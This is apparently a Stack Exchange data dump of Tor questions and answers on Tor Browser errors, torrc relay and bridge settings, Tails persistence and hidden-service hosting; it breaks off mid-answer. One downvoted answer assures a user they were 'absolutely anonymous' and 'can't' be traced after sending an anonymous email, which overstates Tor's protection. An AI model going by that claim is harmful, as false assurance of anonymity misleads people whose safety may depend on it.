  <row Id="12789" PostTypeId="1" CreationDate="2016-09-30T19:18:47.427" Score="1" ViewCount="78" Body="&lt;p&gt;My USB ports on my Macbook are loose - I've been running Tor off of an external drive then without warning the drive disconnects... Now no matter how many wines and re-installs I do (even on the HD on the macbook) somehow it knows that it 'exited incorrectly' and WILL NOT CONNECT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried deleting the torrc file, the whole Library/Application Support contents... nothing seems to work. Where, pray tell, is Tor Browser getting that info from, that causes it to not 'take control of Tor'? There must be some file somewhere that it accesses on start-up... Anyone, PLEASE???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="14554" LastActivityDate="2019-03-02T06:38:02.770" Title="Mac Tor Browser on external drive not ejected properly - now won't work!" Tags="|mac|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12792" PostTypeId="2" ParentId="12787" CreationDate="2016-09-30T22:25:24.133" Score="0" Body="&lt;p&gt;In the &lt;code&gt;torrc&lt;/code&gt; file of your relay, you need to set &lt;code&gt;EntryNodes fingerprint&lt;/code&gt; and &lt;code&gt;StrictNodes 1&lt;/code&gt; This will tell Tor to &lt;em&gt;only&lt;/em&gt; use the set entry node to build circuits.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-30T22:25:24.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12793" PostTypeId="2" ParentId="12787" CreationDate="2016-10-01T03:06:30.487" Score="0" Body="&lt;p&gt;You can also do that by directing your HS router to use your relay as a bridge.&lt;br&gt;&#xA;First add these lines to &lt;code&gt;torrc&lt;/code&gt; of your relay to set it up as a bridge:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort &amp;lt;some port&amp;gt;&#xA;BridgeRelay 1&#xA;Exitpolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then configure the router that hosts your HS to use your bridge:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge &amp;lt;bridge line of your relay&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no guarantee that rendezvous circuits will always go through the bridges with &lt;code&gt;UseBridges&lt;/code&gt; on. Tor may behave unexpectedly. Furthermore, an adversary could correlate your HS without effort since there are almost no hidden services behind a bridge.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="4894" LastEditDate="2016-10-01T14:20:33.960" LastActivityDate="2016-10-01T14:20:33.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12796" PostTypeId="1" AcceptedAnswerId="12798" CreationDate="2016-10-01T20:10:03.020" Score="1" ViewCount="87" Body="&lt;p&gt;Does Tor send data over my server if I installed it? My server has a bandwidth limit so it would be bad if tor runs as a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed the standard tor configuration via apt-get on my Debian 8 server.&lt;/p&gt;&#xA;" OwnerUserId="14566" LastEditorUserId="12240" LastEditDate="2016-10-04T01:07:26.433" LastActivityDate="2016-10-05T08:23:28.670" Title="Does tor send data over my server?" Tags="|configuration|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12797" PostTypeId="1" CreationDate="2016-10-01T22:09:51.127" Score="0" ViewCount="1955" Body="&lt;p&gt;I run an adult business and when traveling overseas I like to cover my base since not all countries are adult content friendly. Lately I have been having trouble connecting to xtube.com. Can someone please tell me what is the issue in this case?&lt;/p&gt;&#xA;" OwnerUserId="14567" LastEditorUserId="88" LastEditDate="2016-10-04T01:20:36.830" LastActivityDate="2018-10-26T07:00:47.563" Title="xTube - - why can't I access it using TOR?" Tags="|blocked-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12798" PostTypeId="2" ParentId="12796" CreationDate="2016-10-01T22:53:30.700" Score="3" Body="&lt;p&gt;No. By default, &lt;code&gt;tor&lt;/code&gt; acts as a client, and opens a SOCKS5 Proxy on localhost:9050. It will not relay any traffic for the Tor Network unless you specifically set it up in the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-10-01T22:53:30.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12799" PostTypeId="2" ParentId="12797" CreationDate="2016-10-02T01:11:59.333" Score="0" Body="&lt;p&gt;it will be a VPN to fit a proper solution slot in your case. You can use Tor to connect to your homeplace-running hidden service for OpenVPN - so it will be completely private&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-02T01:11:59.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12803" PostTypeId="2" ParentId="4930" CreationDate="2016-10-02T09:15:55.283" Score="2" Body="&lt;p&gt;Tails uses UTC time. But the time of most devices is set up to the timezone of their sale, which can be considered as de-anonimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I usually do is manual explicit setting the hardware clock to UTC. It is especially true for my own devices which I plan to use often with Tails. It can be quickly done via BIOS, for example - just one more reboot adjusts it forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can affect other systems that aree used on the device, but they usually have the setting like &quot;hardware clock is set up to UTC&quot;.&lt;/p&gt;&#xA;" OwnerUserId="14574" LastActivityDate="2016-10-02T09:15:55.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12807" PostTypeId="2" ParentId="12775" CreationDate="2016-10-03T02:28:10.237" Score="1" Body="&lt;p&gt;I just duplicated the first message to test, and received three bridges. Must have been a system glitch. The text in the body of the email both times was &lt;strong&gt;get transport obfs4&lt;/strong&gt;. I no longer needed more bridges because I'd acquired a bunch by using the BridgesDB, but the three I received were new so I added them anyway. I assume the more bridges you have the better, and I now have plenty.&lt;/p&gt;&#xA;" OwnerUserId="14533" LastActivityDate="2016-10-03T02:28:10.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12809" PostTypeId="1" AcceptedAnswerId="12824" CreationDate="2016-10-03T05:25:34.383" Score="0" ViewCount="82" Body="&lt;p&gt;I'm failing to find a simple way to configure tor to use a different IP for outbound OR traffic and a different one as an exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I'm mistaken &lt;code&gt;OutboundBindAddress&lt;/code&gt; sets both of them. Did I miss some other relevant option?&lt;/p&gt;&#xA;" OwnerUserId="14586" LastEditorUserId="88" LastEditDate="2016-10-05T08:11:39.690" LastActivityDate="2016-10-05T08:11:39.690" Title="Split interfaces for OR and exit traffic" Tags="|configuration|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12810" PostTypeId="1" AcceptedAnswerId="12867" CreationDate="2016-10-03T09:07:35.133" Score="1" ViewCount="243" Body="&lt;p&gt;There are two sentences which I don't understand in Tor dir-spec ver 3.&#xA;(&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Descriptors are downloaded by the hash of the descriptor, not by the&#xA;  relay's identity key: this prevents directory servers from attacking&#xA;  clients by giving them descriptors nobody else uses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;2) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Descriptors were indexed by their digests, in order to prevent malicious caches &gt;from giving different version of a server descriptor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think the advantage of using hash instead of using identity key directly is to store more descriptors and to search fast in consensus document using hash indexing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I don't understand why using hash prevent attackers. &lt;/p&gt;&#xA;" OwnerUserId="14590" LastActivityDate="2016-10-09T12:18:28.670" Title="What is advantage of using hash of descriptors?" Tags="|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12812" PostTypeId="1" CreationDate="2016-10-03T15:11:51.110" Score="2" ViewCount="835" Body="&lt;p&gt;I know that nginx is much safer than Apache for hidden services, but is there any additional configuration that &lt;strong&gt;needs/should/is recommended&lt;/strong&gt; to be done to run a hidden service safely?&lt;/p&gt;&#xA;" OwnerUserId="11961" LastActivityDate="2022-05-20T18:04:10.317" Title="Does nginx need any additional configuration to run a hidden service safely?" Tags="|onion-services|web-hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12816" PostTypeId="1" CreationDate="2016-10-04T01:29:33.383" Score="0" ViewCount="139" Body="&lt;p&gt;I am a Japanese university students.I studied the Tor.&#xA;I want to block tor users to access the web server.Is there a way to block access other than to block the exit node of the tor.&lt;/p&gt;&#xA;" OwnerUserId="12511" LastActivityDate="2016-10-07T11:46:49.227" Title="How to block access from the tor user" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12817" PostTypeId="1" AcceptedAnswerId="12818" CreationDate="2016-10-04T09:57:45.530" Score="0" ViewCount="1122" Body="&lt;p&gt;I don't understand the difference of meaning between directory fallback, directory mirror,and cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, explain the difference.&lt;/p&gt;&#xA;" OwnerUserId="14590" LastActivityDate="2016-10-04T14:58:13.453" Title="What is the difference between fallback, mirror and cache directory" Tags="|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12818" PostTypeId="2" ParentId="12817" CreationDate="2016-10-04T14:58:13.453" Score="0" Body="&lt;p&gt;It's a bit more simple than the question itself:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Fallback&lt;/strong&gt; equals to &quot;when an original is not available, use replica&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mirror&lt;/strong&gt; is just a network-served full cache, &lt;em&gt;signed by an original&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cache&lt;/strong&gt; is a very &lt;em&gt;local&lt;/em&gt; cache, that's it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-04T14:58:13.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12819" PostTypeId="2" ParentId="12812" CreationDate="2016-10-04T15:01:31.477" Score="0" Body="&lt;p&gt;No, not really. In &lt;strong&gt;all cases&lt;/strong&gt; - &lt;em&gt;regardless&lt;/em&gt; of the actual web server - you need to use a &lt;strong&gt;FULL ISOLATION&lt;/strong&gt; based on VM/LXC to run a webserver, so there will be &lt;strong&gt;NO&lt;/strong&gt; technically possible way to determine an external IP address or it's traces. You don't use any NAT/IP-MASQUERADE, just a port-to-port tunneling. I do recommend to use a LXC+static-binaries, it will make a footprint almost-nothing and will minimize an overhead. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-04T15:01:31.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12824" PostTypeId="2" ParentId="12809" CreationDate="2016-10-04T21:12:26.970" Score="1" Body="&lt;p&gt;After digging through the source I found the answer. &lt;code&gt;OutboundBindAddress&lt;/code&gt; controls the source for both the OR and the exit traffic. There's no way to separate the traffic in the official &lt;code&gt;tor&lt;/code&gt; as of Oct 2016.&lt;/p&gt;&#xA;" OwnerUserId="14586" LastActivityDate="2016-10-04T21:12:26.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12825" PostTypeId="2" ParentId="12796" CreationDate="2016-10-05T08:23:28.670" Score="0" Body="&lt;p&gt;If one looks at the question in a more general way the answer is Yes and No.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Yes&lt;/em&gt;: When you start Tor it will send a request to the directory authority and ask for directory information. Furthermore the software will build a circuit with different relays in the network. So also here some information is sent over the wire.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;No&lt;/em&gt;: When you think if Tor will act as a relay, the answer is clearly No. If you don't change the initial configuration, Tor will only act as a client and not relay data from other users.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-05T08:23:28.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12828" PostTypeId="1" AcceptedAnswerId="12829" CreationDate="2016-10-06T02:59:48.963" Score="0" ViewCount="269" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Every time i start it up it states vertualy the same text everytime...&#xA;  Everything seems to run fine till it starts to connect to&quot;Polipo&quot; saying connection refused each time &#xA;  Help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Orbot is starting…&#xA; Waiting for control port...&#xA; Connecting to control port: 49469&#xA; SUCCESS connected to Tor control port.&#xA; SUCCESS - authenticated to control port.&#xA; Starting Tor client… complete.&#xA; adding control port event handler&#xA; SUCCESS added control port event handler&#xA; Tor started; process id=4717&#xA; Starting polipo process&#xA; Set background service to FOREGROUND&#xA; Couldn't find Polipo process... retrying...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NOTICE: Bootstrapped 5%: Connecting to directory server &#xA;NOTICE: Bootstrapped 10%: Finishing handshake with directory server &#xA;WARN: Proxy Client: unable to connect to 83.212.101.3:443 (&quot;Connection refused&quot;) &#xA;Couldn't find Polipo process... retrying...&#xA;&#xA;Couldn't find Polipo process... retrying...&#xA;&#xA;Polipo is running on port:8118&#xA;Polipo process id=-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14615" LastEditorUserId="9291" LastEditDate="2016-10-06T03:49:57.720" LastActivityDate="2016-10-06T03:54:42.297" Title="My tor won't start, is there external interface on my device?" Tags="|configuration|startup|polipo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12829" PostTypeId="2" ParentId="12828" CreationDate="2016-10-06T03:54:42.297" Score="0" Body="&lt;p&gt;The thing is that your Tor instance seems to be not fully bootstrapped yet, i.e. not able to serve requests. Give it some time - and check for 100% bootstrap message, and &lt;em&gt;after 100% bootstrap&lt;/em&gt; take a look at &quot;bandwidth self-test&quot; message in the log. After 100% you will be able to use Tor + whatever uses it, but after a bandwidth self-test it's usually faster. The messages are look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 18 05:25:27.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 18 05:25:29.000 [notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-06T03:54:42.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12830" PostTypeId="1" CreationDate="2016-10-06T04:37:56.233" Score="0" ViewCount="62" Body="&lt;p&gt;I had the following issue when connecting to Tor. If I tried using a VPN such as hotspot shield would that fix my issue? Any help would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;10/6/2016 0:15:33 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/6/2016 0:15:33 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/6/2016 0:15:33 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/6/2016 0:15:33 AM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;10/6/2016 0:15:34 AM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;10/6/2016 0:35:17 AM.300 [WARN] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host 1DBAED235E3957DE1ABD25B4206BE71406FB61F8 at 46.101.151.222:443) &#xA;10/6/2016 0:35:17 AM.300 [WARN] 9 connections have failed: &#xA;10/6/2016 0:35:17 AM.300 [WARN]  9 connections died in state connect()ing with SSL state (No SSL object) &#xA;10/6/2016 0:35:22 AM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;10/6/2016 0:35:22 AM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/6/2016 0:35:22 AM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;10/6/2016 0:35:22 AM.100 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14616" LastActivityDate="2016-10-06T14:06:02.060" Title="Could someone help me with my issue?" Tags="|tor-browser-bundle|configuration|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12832" PostTypeId="2" ParentId="12830" CreationDate="2016-10-06T14:06:02.060" Score="1" Body="&lt;p&gt;A VPN would help, but a better solution would be to use bridges. Something is blocking Tor from connecting to the directory server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just follow the steps on the bridges website: &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-10-06T14:06:02.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12841" PostTypeId="1" AcceptedAnswerId="12856" CreationDate="2016-10-07T08:23:21.840" Score="1" ViewCount="2554" Body="&lt;p&gt;I have a USB stick contaning a number of ISO images that uses Grub to boot into whichever one is selcted from its menu. One of these ISOs is Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the USB stick is partitioned as a persistent volume that Tails recognises when booted from the ISO. I have not used it much but first impressions are that it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried a persistent volume on a separate USB stick and that also worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am aware that the Tails website suggests that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is only possible to create a persistent volume if the device, USB stick or SD card, was installed using Tails Installer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, my experience shows that it works fine with an ISO. Sure, Tails won't &lt;em&gt;create&lt;/em&gt; a persistent volume when booted from an ISO, but it will use one that it finds on a conected storage device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to ask whether there are any reasons to recommend against using an ISO image and persistent volume in this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Tails version 2.6)&lt;/p&gt;&#xA;" OwnerUserId="14607" LastActivityDate="2016-10-08T19:41:42.130" Title="Use Tails Persistent volume with ISO" Tags="|tails|persistent|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12842" PostTypeId="2" ParentId="12529" CreationDate="2016-10-07T08:31:16.447" Score="0" Body="&lt;p&gt;You can use a USB stick that is no bigger than the ISO (Tails 2.6 is a little over 1.1GiB). However, you need to have some technical ability to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;manually partition the USB stick&lt;/li&gt;&#xA;&lt;li&gt;configure a bootloader capable of booting the ISO stored on the stick (i.e. GNU Grub)&lt;/li&gt;&#xA;&lt;li&gt;manually create the persistence volume, if you want one: it's just LUKS.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If these things mean little to you then perhaps this isn't for you. But it does work. Whether this is against recommendations is the subject of &lt;a href=&quot;https://tor.stackexchange.com/questions/12841&quot;&gt;another question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14607" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-10-07T08:31:16.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12846" PostTypeId="2" ParentId="12841" CreationDate="2016-10-07T11:22:54.067" Score="0" Body="&lt;p&gt;Same thing - at the end, whoever created &lt;em&gt;a kernel-recognizable persistent volume&lt;/em&gt; - it's &lt;em&gt;just mounted and used&lt;/em&gt;. No difference at all in any matters.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-07T11:22:54.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12847" PostTypeId="2" ParentId="12529" CreationDate="2016-10-07T11:28:51.293" Score="0" Body="&lt;p&gt;it's - generally - no problem. As it obviously is, the persistent partition IS just mounted-and-used by kernel. Regardless of the program and way of it's creation. In case of encrypted storages and so forth - &lt;strong&gt;unless you're using a dedicated hardware-accelerated encryption&lt;/strong&gt; as a second USB drive that keeps the key actually &quot;out of hands&quot; of the OS(not just Tails), there will be no difference in even an encrypted volume case either: the hack-task of stealing the encryption key that &lt;strong&gt;is inside the targeted OS in any form&lt;/strong&gt; is equal. Only 2nd USB flash with completely isolated encryption key is the different case, and - yes - in &lt;em&gt;that case&lt;/em&gt; you better use two USB drives.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-07T11:28:51.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12848" PostTypeId="2" ParentId="12816" CreationDate="2016-10-07T11:46:49.227" Score="1" Body="&lt;p&gt;Tor is &lt;em&gt;just&lt;/em&gt; a network instrument, there are &lt;em&gt;many&lt;/em&gt; of them... The crime exists &lt;em&gt;inside malicious user's mind&lt;/em&gt;, and it has no relation to &lt;em&gt;any tool he uses&lt;/em&gt;. So - blocking Tor won't help you a bit, if your task is to protect the website from malicious activities. My good advice to you - forget about 1990-years AtGuard tactiks with a blocklists in txt files: it does not work at all nowdays. Focus on hardening and guarding your website itself, and it will work fine &lt;em&gt;regardless of the connection methods&lt;/em&gt; used by user.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-07T11:46:49.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12849" PostTypeId="1" AcceptedAnswerId="12850" CreationDate="2016-10-07T13:06:41.913" Score="3" ViewCount="1317" Body="&lt;p&gt;when i set a RelayBandwidthRate e.g. 600 KB/s does it mean i have 600 KB/s bidirectional (e.g. 300 KB/s download and 300 KB/s upload) or does i mean i have 600 KB/s in both directions, 1200 KB/s in total ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="14635" LastActivityDate="2016-10-07T16:58:57.273" Title="Confusion about RelayBandwidthRate" Tags="|relays|middle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12850" PostTypeId="2" ParentId="12849" CreationDate="2016-10-07T15:12:54.153" Score="0" Body="&lt;p&gt;&lt;code&gt;RelayBandwidthRate&lt;/code&gt; - like &lt;strong&gt;all&lt;/strong&gt; rate directives in &lt;code&gt;torrc&lt;/code&gt; is same-in-both-ways, i.e. 600 means 600in+600out. If you're throttling your bandwidth - if you need to maintain a constant 24/7 operations in a free/hosting-included traffic limits, it's &lt;strong&gt;not enough&lt;/strong&gt; to specify just this setting, drop a line if you need full details. It works &lt;em&gt;a bit different as it should be&lt;/em&gt; in real world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: So - here it how it goes to &lt;strong&gt;actually&lt;/strong&gt; work as it &lt;em&gt;should&lt;/em&gt; from the docs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;BandwidthRate XKBytes&lt;/code&gt; and &lt;code&gt;BandwidthBurst XKBytes&lt;/code&gt; will actually limit the speed in &lt;em&gt;most&lt;/em&gt; of cases. To limit it strictly use 75% of &lt;code&gt;BandwidthBurst&lt;/code&gt; limit in &lt;code&gt;BandwidthRate&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AccountingMax DailyLimitKBytes&lt;/code&gt; and &lt;code&gt;AccountingStart day&lt;/code&gt; will ensure the daily limit to be kept. Without it there can be some overruns - not big ones, but there are some.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AccountingRule in|out|sum&lt;/code&gt; - use it according to your hosting plan&lt;/li&gt;&#xA;&lt;li&gt;remember that DNS queries are &lt;strong&gt;not&lt;/strong&gt; taken into this accounting, so use as a limit 80-85% volume of traffic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-10-07T16:58:57.273" LastActivityDate="2016-10-07T16:58:57.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12852" PostTypeId="1" AcceptedAnswerId="12855" CreationDate="2016-10-08T10:44:13.387" Score="0" ViewCount="3017" Body="&lt;p&gt;I used TOR browser and guerillamail to send an email anonymously (or so I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way this can come back to me? I used my own laptop on my home wifi network. I just opened Tor, did some googling about how to send an anonymous email and found guerillamail and sent it through that. I have confirmed the EXIF data doesn't have anything important, and plus the picture has been cycled through multiple phones by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I don't really know how anonymous Tor is, so I am asking here. If they get their hands on server logs from my ISP, would they be able to see my Tor activity? Would they only be able to see me using Tor or the exact sites/browsing I did? Lastly, would they be able to get the MAC address of my laptop or something other piece of info that would surely prove it was me?&lt;/p&gt;&#xA;" OwnerUserId="14641" LastEditorDisplayName="user5" LastEditDate="2016-10-11T20:15:02.313" LastActivityDate="2016-10-11T20:15:02.313" Title="Can this anonymous email be traced back to me?" Tags="|anonymity|security|windows|email|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12853" PostTypeId="1" CreationDate="2016-10-08T15:59:21.387" Score="0" ViewCount="979" Body="&lt;p&gt;I have a problem. When I want to connect to the pseudo-domain onion tor return me information:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Warn] Refusing to connect to the IPv6 address [scrubbed] because Port&#xA;  has NoIPv6Traffic set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To the Torrc file I added lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DNSPort 9053&#xA;AutomapHostsOnResolve 1&#xA;AutomapHostsSuffixes .exit,.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal domains work good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- update to comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked it. In the file I can have only this three lines. Something I should add?&lt;/p&gt;&#xA;" OwnerUserId="14645" LastEditorUserId="14655" LastEditDate="2016-10-09T10:23:50.350" LastActivityDate="2017-03-08T14:59:55.033" Title="Pseudo-domain onion not work ([Warn] Refusing to connect to the IPv6 address...)" Tags="|configuration|ipv6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12855" PostTypeId="2" ParentId="12852" CreationDate="2016-10-08T17:47:51.673" Score="-1" Body="&lt;p&gt;They can't trace you (for official statement) even if you didn't use Tor for that, but some anonymous email service that does not require phone number (there are plenty of them) outside your jurisdiction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tor, they can't even suspect you because &quot;you used that mail server in that time message was sent&quot;. Without Tor they can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, Tor traffic is onion encrypted and goes through number of random relays. You were absolutely anonymous for the mail service you used as long as you didn't enter your personal data there.&lt;/p&gt;&#xA;" OwnerUserId="14647" LastActivityDate="2016-10-08T17:47:51.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12856" PostTypeId="2" ParentId="12841" CreationDate="2016-10-08T19:41:42.130" Score="1" Body="&lt;p&gt;It is fine to use an ISO image and persistent volume in the way the question describes. However, &lt;strong&gt;You can create persistent volumes on any device but Tails won't do it for you and such configurations aren't supported.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails persistent volumes can go on any device. From the &lt;a href=&quot;https://tails.boum.org/contribute/design/persistence&quot; rel=&quot;nofollow&quot;&gt;persistence design documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the underlying tools will support storage on whatever relevant device&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;brave and advanced users can prepare their store their persistent data wherever they want&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this is not something we will actively support and document beyond the bare minimum (--help and manpage)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;How to create a persistent volume&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a partition named 